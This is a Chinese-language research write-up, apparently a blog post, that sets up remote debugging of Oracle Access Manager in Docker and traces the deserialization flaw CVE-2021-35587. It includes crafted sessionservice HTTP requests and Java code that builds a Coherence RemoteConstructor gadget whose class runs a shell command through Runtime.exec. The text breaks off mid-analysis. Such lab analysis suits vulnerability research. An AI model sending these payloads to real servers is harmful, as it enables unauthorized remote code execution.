docker run -d -p 15100:15100 -p 8454:8453 --network=OamNET --volumes-from oamadmin --name oampolicy --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_HOST=oamadmin --env ADMIN_LISTEN_PORT=7001 --env MANAGEDSERVER_PORT=15100 --env MANAGED_SERVER_CONTAINER=true --env MS_NAME=oam_policy_mgr1 --env MS_HOST=oampolicy container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh"

重新部署后按照上述修改/u01/oracle/user_projects/domains/access_domain/bin/setDomainEnv.sh 后重启oamms容器,将oamms改成调试模式启动。

②监控web应用日志

docker logs -f oamms 可以看到oamms的web应用日志在/u01/oracle/user_projects/domains/access_domain/logs/这个文件夹中,访问应用时最新出现改变的文件是oam_server1-ms-oamms.log

因此执行

1
docker exec oamms tail -f  /u01/oracle/user_projects/domains/access_domain/logs/oam_server1-ms-oamms.log

③向漏洞接口发送基本请求

参考漏洞作者分析文章 ,向OAMMS发送一个 /oam/server/opensso/sessionservice 所能接受和处理的基本请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /oam/server/opensso/sessionservice HTTP/1.1
Host: 192.168.175.139:14100
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Content-Type: text/xml
Content-Length: 294

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<RequestSet vers="vers123" svcid="session" reqid="req_1">
 <Request dtdid="dtd1" sid="sid1"><![CDATA[
	<authIdentifier reqid="1" requester="YWJjZA==">
	<SessionID>123</SessionID>
	</authIdentifier>
	]]>
 </Request>
</RequestSet>

看到日志中的报错调用栈为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<Mar 22, 2022 2:33:02,196 AM GMT> <Warning> <oracle.oam.binding> <BEA-000000> <Error while processing Master Controller in PBL
java.lang.NullPointerException
★  at oracle.security.am.proxy.opensso.events.OpenssoCheckValidSessionEvent.isRequesterSessionID(OpenssoCheckValidSessionEvent.java:58)
	at oracle.security.am.proxy.opensso.controller.OpenssoFlowController.getNextEventHint(OpenssoFlowController.java:515)
	at oracle.security.am.controller.events.AbstractEventFlowController.getEventHint(AbstractEventFlowController.java:193)
	at oracle.security.am.controller.events.AbstractEventFlowController.getSuccessFailEvent(AbstractEventFlowController.java:158)
	at oracle.security.am.controller.events.AbstractEventFlowController.getNextEvent(AbstractEventFlowController.java:99)
	at oracle.security.am.controller.MasterController.getNextEvent(MasterController.java:236)
	at oracle.security.am.controller.MasterController.processEvent(MasterController.java:615)
	at oracle.security.am.controller.MasterController.processRequest(MasterController.java:788)
	at oracle.security.am.controller.MasterController.process(MasterController.java:708)
	at oracle.security.am.pbl.PBLFlowManager.delegateToMasterController(PBLFlowManager.java:221)
	at oracle.security.am.pbl.PBLFlowManager.handleBaseEvent(PBLFlowManager.java:147)
	at oracle.security.am.pbl.PBLFlowManager.processRequest(PBLFlowManager.java:107)
	at oracle.security.am.pbl.transport.http.AMServlet.handleRequest(AMServlet.java:221)
★  at oracle.security.am.pbl.transport.http.AMServlet.doPost(AMServlet.java:177)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:707)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260)
	at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137)
	at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353)
	at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.security.jps.ee.http.JpsAbsFilter$3.run(JpsAbsFilter.java:175)
	at java.security.AccessController.doPrivileged(Native Method)
	at oracle.security.jps.util.JpsSubject.doAsPrivileged(JpsSubject.java:315)
	at oracle.security.jps.ee.util.JpsPlatformUtil.runJaasMode(JpsPlatformUtil.java:650)
	at oracle.security.jps.ee.http.JpsAbsFilter.runJaasMode(JpsAbsFilter.java:112)
	at oracle.security.jps.ee.http.JpsAbsFilter.doFilterInternal(JpsAbsFilter.java:293)
	at oracle.security.jps.ee.http.JpsAbsFilter.doFilter(JpsAbsFilter.java:150)
	at oracle.security.jps.ee.http.JpsFilter.doFilter(JpsFilter.java:94)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.dms.servlet.DMSServletFilter.doFilter(DMSServletFilter.java:248)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at oracle.jrf.servlet.ExtensibleGlobalFilter.doFilter(ExtensibleGlobalFilter.java:92)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763)
	at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344)
	at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197)
	at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203)
	at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71)
	at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451)
	at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299)
	at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277)
	at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720)
	at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680)
	at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272)
	at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352)
	at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337)
	at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57)
	at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41)
	at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655)
	at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420)
	at weblogic.work.ExecuteThread.run(ExecuteThread.java:360)

④确定关键断点的位置和相关的依赖包

从报错调用栈可以看到接口 /oam/server/opensso/sessionservice 是由 oracle.security.am.pbl.transport.http.AMServlet.doPost(AMServlet.java:177) 处理的,我们想知道这个类位于那个jar包中,以及整个请求处理过程依赖哪些jar包。

尝试以下方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// 1. 生成容器中所有jar包内容的index
# docker exec oamms find / -name *.jar 2>/dev/null -exec sh -c "echo {};zipinfo -1 {} | grep -Pi '\.(class|java|xml|conf|json|yaml|yml|config)$';echo '---'; " \;  > oamms_tree.txt

// index大致内容如下,用---分隔jar包,每个区块第一行是jar包名称,后续跟着class/java/config等代码和配置文件
# tail -n 20 oamms_tree.txt 
com/sun/tools/visualvm/coredump/resources/layer.xml
---
/u01/jdk/lib/visualvm/visualvm/core/com-sun-tools-visualvm-modules-startup.jar
com/sun/tools/visualvm/modules/startup/AcceptLicense$1.class
com/sun/tools/visualvm/modules/startup/AcceptLicense.class
com/sun/tools/visualvm/modules/startup/LicensePanel.class
com/sun/tools/visualvm/modules/startup/Utils.class
com/sun/tools/visualvm/modules/startup/VisualVMStartup.class
com/sun/tools/visualvm/modules/startup/dialogs/StartupDialog$1.class
com/sun/tools/visualvm/modules/startup/dialogs/StartupDialog$2.class
com/sun/tools/visualvm/modules/startup/dialogs/StartupDialog$3.class
com/sun/tools/visualvm/modules/startup/dialogs/StartupDialog$4.class
com/sun/tools/visualvm/modules/startup/dialogs/StartupDialog.class
---
/u01/jdk/lib/visualvm/visualvm/core/locale/com-sun-tools-visualvm-modules-startup_zh_CN.jar
---
/u01/jdk/lib/visualvm/visualvm/core/locale/core_visualvm.jar
---
/u01/jdk/lib/visualvm/visualvm/core/locale/com-sun-tools-visualvm-modules-startup_ja.jar
---

// 2. 定位关键类所在的jar包位置
# cls="oracle.security.am.pbl.transport.http.AMServlet"
# grep -P "$cls|\.jar" oamms_tree.txt |grep -P "$cls" -B1
/u01/oracle/user_projects/domains/access_domain/servers/oam_policy_mgr1/tmp/_WL_user/oam-jars/1jy5pi/APP-INF/lib/pbl.jar
oracle/security/am/pbl/transport/http/AMServlet$1.class
oracle/security/am/pbl/transport/http/AMServlet.class
--
/u01/oracle/user_projects/domains/access_domain/servers/AdminServer/tmp/_WL_user/oam-jars/n9twye/APP-INF/lib/pbl.jar
oracle/security/am/pbl/transport/http/AMServlet$1.class
oracle/security/am/pbl/transport/http/AMServlet.class
--
/u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam-jars/gkvqum/APP-INF/lib/pbl.jar
oracle/security/am/pbl/transport/http/AMServlet$1.class
oracle/security/am/pbl/transport/http/AMServlet.class

# cls="oracle.security.am.proxy.opensso.events.OpenssoCheckValidSessionEvent"
# grep -P "$cls|\.jar" oamms_tree.txt |grep -P "$cls" -B1
/u01/oracle/user_projects/domains/access_domain/servers/oam_policy_mgr1/tmp/_WL_user/oam-jars/1jy5pi/APP-INF/lib/openssoproxy.jar
oracle/security/am/proxy/opensso/events/OpenssoCheckValidSessionEvent.class
--
/u01/oracle/user_projects/domains/access_domain/servers/AdminServer/tmp/_WL_user/oam-jars/n9twye/APP-INF/lib/openssoproxy.jar
oracle/security/am/proxy/opensso/events/OpenssoCheckValidSessionEvent.class
--
/u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam-jars/gkvqum/APP-INF/lib/openssoproxy.jar
oracle/security/am/proxy/opensso/events/OpenssoCheckValidSessionEvent.class

可以看到 oracle.security.am.proxy.opensso.events.OpenssoCheckValidSessionEvent所在的jar包为openssoproxy.jaroracle.security.am.pbl.transport.http.AMServlet 所在jar包为 pbl.jar,他们都位于 /u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam-jars/gkvqum/APP-INF/lib/ 目录下(注意:gkvqum是随机生成的目录,不同部署实例上的路径大概率是不同的,但目录结构是一样的)。所以我们将该目录下的jar包全部下载到调试主机上。

⑤下载依赖包到调试主机

根据上一步知道我们关心的jar包应该主要是在 /u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam-jars/gkvqum/APP-INF/lib/ 目录下。

下载oracle依赖包

1
2
docker exec oamms tar czf /tmp/oraclelib.tgz /u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam-jars/gkvqum/APP-INF/lib/
docker cp oamms:/tmp/oraclelib.tgz .

此外我们后续调试还需要用到weblogic的jar包信息和coherence中的gadget信息,这里一并生成并下载

生成和下载 wlfuulclient.jar

1
2
docker exec oamms bash -c "cd /u01/oracle/wlserver/server/lib && java -jar /u01/oracle/wlserver/modules/com.bea.core.jarbuilder.jar"
docker cp oamms:/u01/oracle/wlserver/server/lib/wlfullclient.jar .

下载coherence依赖包

1
2
docker exec oamms tar czf /tmp/coherencelib.tgz /u01/oracle/coherence/lib/
docker cp oamms:/tmp/coherencelib.tgz .

这就是我们需要的全部依赖包了

image-20220707102358804

⑥开始调试

在本地IDEA中新建一个maven项目

image-20220322192017778

\oracle\user_projects\domains\access_domain\servers\oam_server1\tmp\_WL_user\oam-jars\gkvqum\APP-INF\lib/u01/oracle/coherence/lib/wlfullclient.jar 三个依赖添加到LIB。

image-20220322192105477

然后添加一个Remote Tomcat进行调试

image-20220322192158100

image-20220322192149683

openssoproxy.jar 包的函数oracle.security.am.proxy.opensso.events.OpenssoCheckValidSessionEvent#isRequesterSessionID 中下断点,发送步骤③所举例的基本请求。能够成功在断点处中止运行。

image-20220322192317081

至此已经可以调试oamms了。

调试分析

反序列化入口

参考前述报错调用栈和漏洞作者分析文章

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<Mar 22, 2022 2:33:02,196 AM GMT> <Warning> <oracle.oam.binding> <BEA-000000> <Error while processing Master Controller in PBL
java.lang.NullPointerException
★  at oracle.security.am.proxy.opensso.events.OpenssoCheckValidSessionEvent.isRequesterSessionID(OpenssoCheckValidSessionEvent.java:58)
	at oracle.security.am.proxy.opensso.controller.OpenssoFlowController.getNextEventHint(OpenssoFlowController.java:515)
	at oracle.security.am.controller.events.AbstractEventFlowController.getEventHint(AbstractEventFlowController.java:193)
	at oracle.security.am.controller.events.AbstractEventFlowController.getSuccessFailEvent(AbstractEventFlowController.java:158)
	at oracle.security.am.controller.events.AbstractEventFlowController.getNextEvent(AbstractEventFlowController.java:99)
	at oracle.security.am.controller.MasterController.getNextEvent(MasterController.java:236)
	at oracle.security.am.controller.MasterController.processEvent(MasterController.java:615)
	at oracle.security.am.controller.MasterController.processRequest(MasterController.java:788)
	at oracle.security.am.controller.MasterController.process(MasterController.java:708)
	at oracle.security.am.pbl.PBLFlowManager.delegateToMasterController(PBLFlowManager.java:221)
	at oracle.security.am.pbl.PBLFlowManager.handleBaseEvent(PBLFlowManager.java:147)
	at oracle.security.am.pbl.PBLFlowManager.processRequest(PBLFlowManager.java:107)
	at oracle.security.am.pbl.transport.http.AMServlet.handleRequest(AMServlet.java:221)
★  at oracle.security.am.pbl.transport.http.AMServlet.doPost(AMServlet.java:177)
……

oracle.security.am.pbl.transport.http.AMServlet.doPostoracle.security.am.pbl.PBLFlowManager#handleBaseEvent 附近下断点,发送以下请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /oam/server/opensso/sessionservice HTTP/1.1
Host: 192.168.175.139:14100
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Content-Type: text/xml
Content-Length: 338

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<RequestSet vers="vers123" svcid="session" reqid="req_1">
 <Request dtdid="dtd1" sid="sid1"><![CDATA[
	<authIdentifier reqid="1" requester="b2JqZWN0OnJPMEFCWFFBRUdobGJHeHZJR3BoZG1GdlltcGxZM1E9">
	<SessionID>123</SessionID>
	</authIdentifier>
	]]>
 </Request>
</RequestSet>

其中requester参数值为序列化数据加上object:前缀的base64编码后数据。

1
2
$ echo b2JqZWN0OnJPMEFCWFFBRUdobGJHeHZJR3BoZG1GdlltcGxZM1E9 | base64 -d
object:rO0ABXQAEGhlbGxvIGphdmFvYmplY3Q=

跟踪调试,到此处 oracle.security.am.proxy.opensso.controller.OpenssoEngineController#unmarshal 传入的requester参数对应的数据被反序列化。

image-20220323101521761

至此我们确定了反序列化的入口点是在 oracle.security.am.proxy.opensso.controller.OpenssoEngineController#unmarshal

反序列化开始前的完整调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
unmarshal:2439, OpenssoEngineController (oracle.security.am.proxy.opensso.controller)
processEvent:1069, OpenssoEngineController (oracle.security.am.proxy.opensso.controller)
processEvent:596, MasterController (oracle.security.am.controller)
processRequest:788, MasterController (oracle.security.am.controller)
process:708, MasterController (oracle.security.am.controller)
delegateToMasterController:221, PBLFlowManager (oracle.security.am.pbl)
handleBaseEvent:147, PBLFlowManager (oracle.security.am.pbl)
processRequest:107, PBLFlowManager (oracle.security.am.pbl)
handleRequest:221, AMServlet (oracle.security.am.pbl.transport.http)
doPost:177, AMServlet (oracle.security.am.pbl.transport.http)
service:707, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
run:295, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
run:260, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:137, StubSecurityHelper (weblogic.servlet.internal)
execute:353, ServletStubImpl (weblogic.servlet.internal)
doFilter:25, TailFilter (weblogic.servlet.internal)
doFilter:78, FilterChainImpl (weblogic.servlet.internal)
run:175, JpsAbsFilter$3 (oracle.security.jps.ee.http)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:315, JpsSubject (oracle.security.jps.util)
runJaasMode:650, JpsPlatformUtil (oracle.security.jps.ee.util)
runJaasMode:112, JpsAbsFilter (oracle.security.jps.ee.http)
doFilterInternal:293, JpsAbsFilter (oracle.security.jps.ee.http)
doFilter:150, JpsAbsFilter (oracle.security.jps.ee.http)
doFilter:94, JpsFilter (oracle.security.jps.ee.http)
doFilter:78, FilterChainImpl (weblogic.servlet.internal)
doFilter:248, DMSServletFilter (oracle.dms.servlet)
doFilter:78, FilterChainImpl (weblogic.servlet.internal)
doFilter:92, ExtensibleGlobalFilter (oracle.jrf.servlet)
doFilter:78, FilterChainImpl (weblogic.servlet.internal)
wrapRun:3797, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3763, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:344, AuthenticatedSubject (weblogic.security.acl.internal)
runAsForUserCode:197, SecurityManager (weblogic.security.service)
runAsForUserCode:203, WlsSecurityProvider (weblogic.servlet.provider)
run:71, WlsSubjectHandle (weblogic.servlet.provider)
doSecuredExecute:2451, WebAppServletContext (weblogic.servlet.internal)
securedExecute:2299, WebAppServletContext (weblogic.servlet.internal)
execute:2277, WebAppServletContext (weblogic.servlet.internal)
runInternal:1720, ServletRequestImpl (weblogic.servlet.internal)
run:1680, ServletRequestImpl (weblogic.servlet.internal)
run:272, ContainerSupportProviderImpl$WlsRequestExecutor (weblogic.servlet.provider)
_runAs:352, ComponentInvocationContextManager (weblogic.invocation)
runAs:337, ComponentInvocationContextManager (weblogic.invocation)
doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)
runWorkUnderContext:41, PartitionUtility (weblogic.work)
runWorkUnderContext:655, SelfTuningWorkManagerImpl (weblogic.work)
execute:420, ExecuteThread (weblogic.work)
run:360, ExecuteThread (weblogic.work)

构造SessionID对象触发正常反序列化

从代码 oracle.security.am.proxy.opensso.controller.OpenssoEngineController#unmarshal 看,接口 /oam/server/opensso/sessionservice 想要的对象数据是 oracle.security.am.proxy.opensso.session.utils.SessionID 类的。我们来构造一个可以正常完整触发反序列化的对象数据。

生成requester中的序列化数据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package pers.neo;

import oracle.security.am.proxy.opensso.session.utils.SessionID;
import java.io.*;
import java.util.Base64;

public class App{
    public static void main(String[] args) throws Exception {
        sessionidobj();
    }
    
    public static void sessionidobj(){
        // 生成一个最基本的sessionID
        SessionID sessionID=new SessionID("neo");
        System.out.println(oamserialize(sessionID));
    }

    //    https://gist.github.com/andy722/1524968
    public static <T extends Serializable> String serialize(T item) {
        final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        final ObjectOutputStream objectOutputStream;
        try {
            objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(item);
            objectOutputStream.close();
            return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        } catch (IOException e) {
            throw new Error(e);
        }
    }

    public static <T extends Serializable> String oamserialize(T item) {
        String data=serialize(item);
        return Base64.getEncoder().encodeToString(("object:"+data).getBytes(StandardCharsets.UTF_8));
    }  
}

发送请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /oam/server/opensso/sessionservice HTTP/1.1
Host: 192.168.175.139:14100
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Content-Type: text/xml
Content-Length: 906

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<RequestSet vers="vers123" svcid="session" reqid="req_1">
 <Request dtdid="dtd1" sid="sid1"><![CDATA[
	<authIdentifier reqid="1" requester="b2JqZWN0OnJPMEFCWE55QURodmNtRmpiR1V1YzJWamRYSnBkSGt1WVcwdWNISnZlSGt1YjNCbGJuTnpieTV6WlhOemFXOXVMblYwYVd4ekxsTmxjM05wYjI1SlJLOGVKQWl5c3BxUUFnQUhXZ0FJYVhOUVlYSnpaV1JNQUFwamIyOXJhV1ZOYjJSbGRBQVRUR3BoZG1FdmJHRnVaeTlDYjI5c1pXRnVPMHdBRDJWdVkzSjVjSFJsWkZOMGNtbHVaM1FBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzB3QURXVjRkR1Z1YzJsdmJsQmhjblJ4QUg0QUFrd0FDbVY0ZEdWdWMybHZibk4wQUE5TWFtRjJZUzkxZEdsc0wwMWhjRHRNQUE5elpYTnphVzl1VTJWeWRtVnlTVVJ4QUg0QUFrd0FCSFJoYVd4eEFINEFBbmh3QUhCMEFBTnVaVzl3YzNJQUVXcGhkbUV1ZFhScGJDNUlZWE5vVFdGd0JRZmF3Y01XWU5FREFBSkdBQXBzYjJGa1JtRmpkRzl5U1FBSmRHaHlaWE5vYjJ4a2VIQS9RQUFBQUFBQUFIY0lBQUFBRUFBQUFBQjRkQUFBY0E9PQ==">
	<SessionID>123</SessionID>
	</authIdentifier>
	]]>
 </Request>
</RequestSet>

反序列化现场

image-20220323114217807

关联漏洞:CVE-2020-14644

有了入口以后,我们还需要一个gadget来让执行流程最终走到自定义的恶意代码。作者在分析文章中说他们经过尝试发现 CVE-2020–14644 的gadget是可用的。于是我们先复现 CVE-2020–14644 。

构造反序列化demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//package pers.neo;
//import com.tangosol.internal.util.invoke.ClassDefinition;
//import com.tangosol.internal.util.invoke.ClassIdentity;
//import com.tangosol.internal.util.invoke.RemoteConstructor;


public static void cve_2020_14644() throws NotFoundException, IOException, CannotCompileException {
        ClassIdentity classIdentity = new ClassIdentity(test7.class);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(test7.class.getName());
        ctClass.replaceClassName(test7.class.getName(), test7.class.getName() + "$" + classIdentity.getVersion());
        RemoteConstructor constructor = new RemoteConstructor(
                new ClassDefinition(classIdentity, ctClass.toBytecode()),
                new Object[]{}
        );
        String sobj = serialize(constructor);
//        System.out.println(sobj);
        deserialize(sobj);
    }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package pers.neo;

import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import java.io.IOException;
import java.io.Serializable;


public class test7 implements Remotable,Serializable {
    public test7()  {
        String cmd = "calc";
        cmd="touch /tmp/hackedbyneo7";
//        cmd="mkdir d:\\byoam";
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }

    public RemoteConstructor getRemoteConstructor() {
        return null;
    }

    public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

    }
}

需要注意的是,这里的test7必须实现Remotable和Serializable接口,否则会报错。

记住这个 com.tangosol.internal.util.invoke.Remotable 接口,利用CVE-2020-14644时必须实现它,而利用CVE-2021-35587 时不需要实现它,这一点困扰了我很久。

image-20220713114829787

image-20220713114749977

调试分析

开始反序列化

image-20220713120035755

构建 RemoteConstructor 对象

我们要构建的对象属于 com.tangosol.internal.util.invoke.RemoteConstructor 类型,有m_aoArgs和m_definition两个属性,其中 m_aoArgs[Ljava/lang/Object 类型,m_definitionLcom/tangosol/internal/util/invoke/ClassDefinition 类型。

image-20220713150255877

从类定义来看也确实如此

image-20220713164629698

实例化一个 RemoteConstructor 对象

image-20220713151023224

填充属性

image-20220713151644125

读取并填充基本数据类型(primitive Data),这个 RemoteConstructor 对象没有。

基本数据类型有八类 (https://www.w3schools.com/java/java_data_types.asp)

Data TypeSizeDescription
byte1 byteStores whole numbers from -128 to 127
short2 bytesStores whole numbers from -32,768 to 32,767
int4 bytesStores whole numbers from -2,147,483,648 to 2,147,483,647
long8 bytesStores whole numbers from -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807
float4 bytesStores fractional numbers. Sufficient for storing 6 to 7 decimal digits
double8 bytesStores fractional numbers. Sufficient for storing 15 decimal digits
boolean1 bitStores true or false values
char2 bytesStores a single character/letter or ASCII values

image-20220713152012724

有两个非基本数据类型的对象,逐一从数据流中读取并反序列化,放到objVals中

image-20220713152610326

构建Object[]对象(m_aoArgs)

属性一是一个Object Array

image-20220713152919182

构建 ClassDefinition 对象(m_definition)

反序列化属性二

image-20220713153154374

是一个对象

image-20220713153237552

具体来说是一个 com.tangosol.internal.util.invoke.ClassDefinition 类型的对象

image-20220713153456984

实例化ClassDefinition对象,有4个属性

image-20220713153931494

其中 m_id 和 m_abClass 可以通过序列化数据还原

image-20220713154041392

填充 ClassDefinition 对象

image-20220713154832227

读取基本数据类型的属性,也是空

image-20220713155008243

逐个读取 ClassDefinition 的属性

image-20220713155242182

构建Byte Array对象(m_abClass)

m_abClass 是一个 byte Array

image-20220713155336840

读到的正是 test7 对象的字节码

image-20220713160241116

构建 ClassIdentity 对象(m_id)

image-20220713160333779

m_id 是一个Object

image-20220713160511169

实例化一个 com.tangosol.internal.util.invoke.ClassIdentity

image-20220713160641085

有 m_sPackage,m_sBaseName,m_sVersion 三个属性

image-20220713160848857

填充属性

image-20220713161253225

image-20220713161340971

没有基本类型的数据

image-20220713161434561

依次构建m_sPackage/m_sBaseName/m_sVersion

image-20220713161846523

image-20220713161912889

读到 m_sBaseName 为 test7

image-20220713161949490

读到 m_sPackage 为 pers/neo

image-20220713162107210

读到m_sVersion 为 B9E9F4911DEBD39E951545194CDAB172

image-20220713162136409

完成 ClassIdentity 对象(m_id)填充

image-20220713162310941

image-20220713162510597

image-20220713162528068

putObject是一个native函数

image-20220713162628018

完成填充

image-20220713162722070

image-20220713162855429

image-20220713162918917

完成ClassDefinition 对象(m_definition)填充

image-20220713163233743

image-20220713163814769

至此就创建完 RemoteConstructor 构造函数的两个参数对象了。

1
2
3
4
        RemoteConstructor constructor = new RemoteConstructor(
                new ClassDefinition(classIdentity, ctClass.toBytecode()),
                new Object[]{}
        );

image-20220713164104511

完成 RemoteConstructor 对象填充

image-20220713165057268

image-20220713172216440

readResolve

至此已经完成了 RemoteConstructor 对象的创建,但我们的恶意代码并没有被执行。这个名为obj的对象也不会直接返回给我们使用。

在方法 java.io.ObjectInputStream#readOrdinaryObject return之前会先调用RemoteConstructor类的readResolve方法来创建一个实例rep,经过一些检查以后将rep赋值给obj,最终才返回。

这些操作据称是为了防止反序列化动作创建的实例导致单例模式被破坏。

readResolve is used for replacing the object read from the stream. The only use I’ve ever seen for this is enforcing singletons; when an object is read, replace it with the singleton instance. This ensures that nobody can create another instance by serializing and deserializing the singleton.

——https://stackoverflow.com/a/1168375/15103280

正是在这个过程中我们的恶意代码被执行了。

image-20220713173504658

readResolveMethod是 com.tangosol.internal.util.invoke.RemoteConstructor.readResolve()

image-20220713184244064

看看实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//com.tangosol.internal.util.invoke.RemoteConstructor
public Object readResolve() throws ObjectStreamException {
        return this.newInstance();
    }

public T newInstance() {
    RemotableSupport support = RemotableSupport.get(this.getClassLoader());
    return support.realize(this);
}

//com.tangosol.internal.util.invoke.RemotableSupport
public <T> T realize(RemoteConstructor<T> constructor) {
    ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());
    Class<? extends Remotable> clz = definition.getRemotableClass();
    if (clz == null) {
        synchronized(definition) {
            clz = definition.getRemotableClass();
            if (clz == null) {
                definition.setRemotableClass(this.defineClass(definition)); //最终的Sink点
            }
        }
    }

    Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());
    instance.setRemoteConstructor(constructor);
    return instance;
}
反射调用readResolve

image-20220713184804915

反射调用obj对象的readResolve方法

image-20220713184953973

跟入调用

image-20220713185148324

调用到native层

image-20220713185359355

sink点

然后来到了 com.tangosol.internal.util.invoke.RemoteConstructor#readResolve

image-20220713185731806

进入到 com.tangosol.internal.util.invoke.RemotableSupport#realize

image-20220713185818104

创建恶意类:defineClass

需要注意的是我们的touch文件的操作在第64行的defineClass并没有执行,虽然看起来很像。

这一行实际上做的事情就是根据definition的字节码在内存中创建类定义,然后通过setRemotableClass给m_clz和m_mhCtor赋值,还不涉及字节码对应的类的实例化和构造函数的执行。

